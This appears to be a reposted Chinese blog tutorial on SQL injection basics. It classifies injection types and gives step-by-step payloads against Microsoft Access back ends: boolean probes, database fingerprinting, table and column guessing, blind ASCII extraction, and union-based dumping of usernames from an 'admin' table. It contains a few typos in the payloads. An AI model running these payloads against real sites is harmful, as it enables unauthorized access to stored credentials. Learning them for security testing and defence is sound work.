sql注入基础(原理)

一、注入的分类

按数据库分类:1.整形

                     2.字符型(需要考虑单引号闭合的问题,还有注释不必要的语句  #  )

                        eag:  id='admin'  id='admin and1=1'这样会报错  所以需要 id='admin' and '1'='1 ' 这样来进行闭合

                        注意:字符型适合弱类型语言 php asp ,不支持jsp  aspx

按注入点分类:1.GET

                    2.POTS

                    3.COOKIE

                    4.搜索形注入

                    5.http头注入

按注入的显示方式:1.显错注入

                          2.盲注(主要是根据返回数据的快慢判断)

根据sql语句的不同:1.union 2.select 3.update

二、简单的access以ASCII的方式 注入

1.判断注入点

 1) and 1=1 返回正常  and 1=2 返回错误 存在注入点

 2) or 1=1 返回错误    or 1=2 返回正常   存在注入点

2.判断数据库的类型

and (select count(*)from msysobjects )>0  返回的如果是权限不够的话是access

and (select count(*)from sysobjects )>0 返回正常的话是sqlserver

F12审查元素  看network看中间件  根据中间件的黄金组合来大概判断

3.猜测表名

and (select count(*) from admin)>=0   返回正常则证明存在admin表 (是根据取admin所有列的数目,如果大于等于0的话证明有admin这个表,大于0的话证明admin存在数据不是空表)

3.猜测列数(字段数)

and (select count(*) from adnmin)>  通过不断变化数字1,2,3,4,5...来判断列数

3.猜测列名(字段名)

and(select couunt(username) from admin)>=0  返回正常则证明 存在username列

4.获取数据位数     * mid函数用于从文本字段中提取字符 mid(字段名,取第几位,取几个字符) top2  表示的是前两行,不是第二行

and (select top 1 ascii(mid(username,1,1))from admin)>0 通过不断改变数字1,2,3,4...  原理: 一直变换数字知道取不出字符时,ascii就不会在大于0

5.获取数据

and (select top 1 ascii(mid(username,1,1))from admin)>20  通过1来控制位数  通过变换20来控制ascii对应的具体的值 最终得出ASCII在转化为明文

三 、access快速获取数据

1. order by 1 通过不断改变1来判断字段数  假如字段数为5

2.union select 1,2,3,4,5 from admin返回正常 则证明存在admin表  假如数字2在网页爆出(若果没有爆出数字 解决方法1.报错显示2.审查元素中找)

3.union select 1,username,3,4,5 from admin  正常则证明存在username列 并且username的数据也会在相应的2的位置爆出来

原文地址:https://www.cnblogs.com/pojun/p/6824724.html